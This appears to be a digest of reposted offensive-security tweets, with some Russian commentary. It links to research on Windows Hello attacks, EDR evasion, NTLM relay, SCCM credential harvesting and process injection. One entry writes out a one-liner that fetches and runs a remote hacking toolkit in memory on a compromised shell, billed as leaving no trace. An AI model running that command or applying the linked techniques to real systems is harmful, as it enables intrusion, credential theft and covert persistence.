😈 [ Dirk-jan @_dirkjan ]

At Def Con I presented with @_EthicalChaos_ on new Windows Hello attacks. For ex: how to use the WinHello crypto keys from a low priv session to request a PRT on a different device, bypassing TPM protection of PRTs.

Slides:
🔗 https://dirkjanm.io/talks/

PoC:
🔗 https://github.com/dirkjanm/ROADtools/tree/master/winhello_assertion

🐥 [ tweet ]

😈 [ The Hacker's Choice (@thc@infosec.exchange) @hackerschoice ]

RELEASE:
This should be the 1st command you execute on a remote shell 🧨

source <(curl -SsfL https://thc.org/hs)

Makes the BASH hack-ready. Lots of neat commands + apt-like static binary download ('bin nmap', ...).

LEAVES NO TRACE (memory only).

🔗 https://github.com/hackerschoice/hackshell

🐥 [ tweet ]

😈 [ Dazzy @dazzyddos ]

Wrote a blog post on abusing exclusions to evade AVs/EDR which is stealthy, effective and an often overlooked topic.

🔗 https://medium.com/seercurity-spotlight/abusing-av-edr-exclusions-to-evade-detections-21fe31d7ed49

🐥 [ tweet ]

😈 [ Logan Goins @shellph1sh ]

Created another write-up, this time on NTLM relay attacks to LDAP(S), including details of WebClient coercion, NTLM transport vulnerabilities, and finally device takeover after achieving authentication. You can read about it on my blog :)

🔗 https://logan-goins.com/2024-07-23-ldap-relay/

🐥 [ tweet ]

😈 [ wei @XiaoWei___ ]

MSRC fixed a RCE bug in TCPIP module.
I found the bug several months ago.
Its score is 9.8 and exploitation is more likely. Please apply the patch immediately.

🐥 [ tweet ]

😈 [ Synacktiv @Synacktiv ]

In our latest blogpost, @croco_byte explores the inner workings of SCCM policies and introduces SCCMSecrets[.]py, a tool targeting secret policies in order to exploit misconfigurations, harvest credentials, and pivot across collections by impersonating legitimate clients.

🔗 https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial

🐥 [ tweet ]

😈 [ 𝙁 𝙀 𝙇 𝙄 𝙓 𝙈 @felixm_pw ]

How many of you are down the bottom? 💀

🐥 [ tweet ]

😈 [ Tetsuo @7etsuo ]

Added templates for 24 process injection techniques to my Windows API Cheatsheet.

Code Injection Techniques
0. Process Enumeration Code
1. DLL Injection
2. PE Injection
3. Reflective Injection
4. APC Injection
5. Process Hollowing (Process Replacement)
6. AtomBombing
7. Process Doppelgänging
8. Process Herpaderping
9. Hooking Injection
10. Extra Windows Memory Injection
11. Propagate Injection
12. Heap Spray
13. Thread Execution Hijacking
14. Module Stomping
15. IAT Hooking
16. Inline Hooking
17. Debugger Injection
18. COM Hijacking
19. Phantom DLL Hollowing
20. PROPagate
21. Early Bird Injection
22. Shim-based Injection
23. Mapping Injection
24. KnownDlls Cache Poisoning

🔗 https://github.com/7etsuo/windows-api-function-cheatsheets

🐥 [ tweet ]

😈 [ Emeric Nasi @EmericNasi ]

Hi, I talked about advanced initial access in June at OffensiveX in Athens.

Slides are here:
🔗 https://github.com/sevagas/Advanced_Initial_access_in_2024_OffensiveX/blob/main/breach_the_gates_extended.pdf

For those who ask: I still don't know when the recorded talk will be published

🐥 [ tweet ]

😈 [ Will @BushidoToken ]

I am happy to share a new resource I recently created called The Ransomware Tool Matrix:

🔗 https://blog.bushidotoken.net/2024/08/the-ransomware-tool-matrix.html
🔗 https://github.com/BushidoUK/Ransomware-Tool-Matrix

🐥 [ tweet ]

😈 [ farmpoet @f4rmpoet ]

It's time to take a closer look at CVE-2024-38063 (Windows TCPIP RCE).
I usually don't post partial analysis but since most available info is unreliable I'll do my best to try and shed some light.
This time I'll focus on my workflow and thought process as we go 🧵

🔗 https://threadreaderapp.com/thread/1825472703223992323.html

🐥 [ tweet ]

Всем привет, в связи с тем что последнее время приходится часто пентестить FreeIPA мы начали разрабатывать либу по типу impacket заточенную под особенности ипы. Пока начали реализовывать kerberos и написали пок для CVE-2024-3183. Если у кого-то будет желание как-то помочь в разработке - welcome.

https://github.com/c2micro/ipapocket

😈 [ nc @thoughtfault ]

In a 2021 study, Jensen et al. observed a pronounced concentration of anime girl profile pictures among the most obscure accounts during a social network analysis of "infosec twitter" and associated subcommunities. As part of the study, a visualization was generated:

🐥 [ tweet ]

сойдет

😈 [ Kleiton Kurti @kleiton0x7e ]

A year ago I published a blog post on bypassing EDR using CS profiles. I’ve updated it to include an additional way of preventing msvcrt.dll from being flagged by Defender: by making the payload CRT library-independent.

🔗 https://kleiton0x00.github.io/posts/Harnessing-the-Power-of-Cobalt-Strike-Profiles-for-EDR-Evasion/

🐥 [ tweet ]

#для_самых_маленьких

На собесах мне нравится задавать вопросы на понимание чужого кода, и одним из забавных примеров, где многие путаются при попытках быстро объяснить полученный диссонанс, мне видится распространенный из-за своей копипастности велосипед kernel32!GetModuleHandle, взятый, например, отсюда.

На первый взгляд, в нем нет ничего необычного за исключением одного нюанса: реализация поиска имени модуля по двусвязному списку в этой функции будет работать только при нестандартном определении структуры LDR_DATA_TABLE_ENTRY.

Если обратиться к документации, то первым полем структуры LDR_DATA_TABLE_ENTRY будет значиться нечто PVOID Reserved1[2], что есть ни что иное, как двусвязный список LIST_ENTRY InLoadOrderLinks (изображение).

Для того же, чтобы эта реализация GetModuleHandle отработала, определение LDR_DATA_TABLE_ENTRY должно быть как здесь, а именно, начинаться со второго (из документации) поля LIST_ENTRY InMemoryOrderLinks.

Почему так? 🤨

Кто хочет, может ответить на этот вопрос самостоятельно и переписать функцию findNtDll, используя каноничное определение LDR_DATA_TABLE_ENTRY, или же открыть комментарии и ознакомиться с одним из возможных решений 👇🏻

😈 [ Josh @passthehashbrwn ]

New blog from me on manually manipulating Vectored Exception Handlers to evade some EDRs and perform threadless process injection.

Blog:
🔗 https://securityintelligence.com/x-force/using-veh-for-defense-evasion-process-injection/

Accompanying code:
🔗 https://github.com/xforcered/VectoredExceptionHandling

🐥 [ tweet ]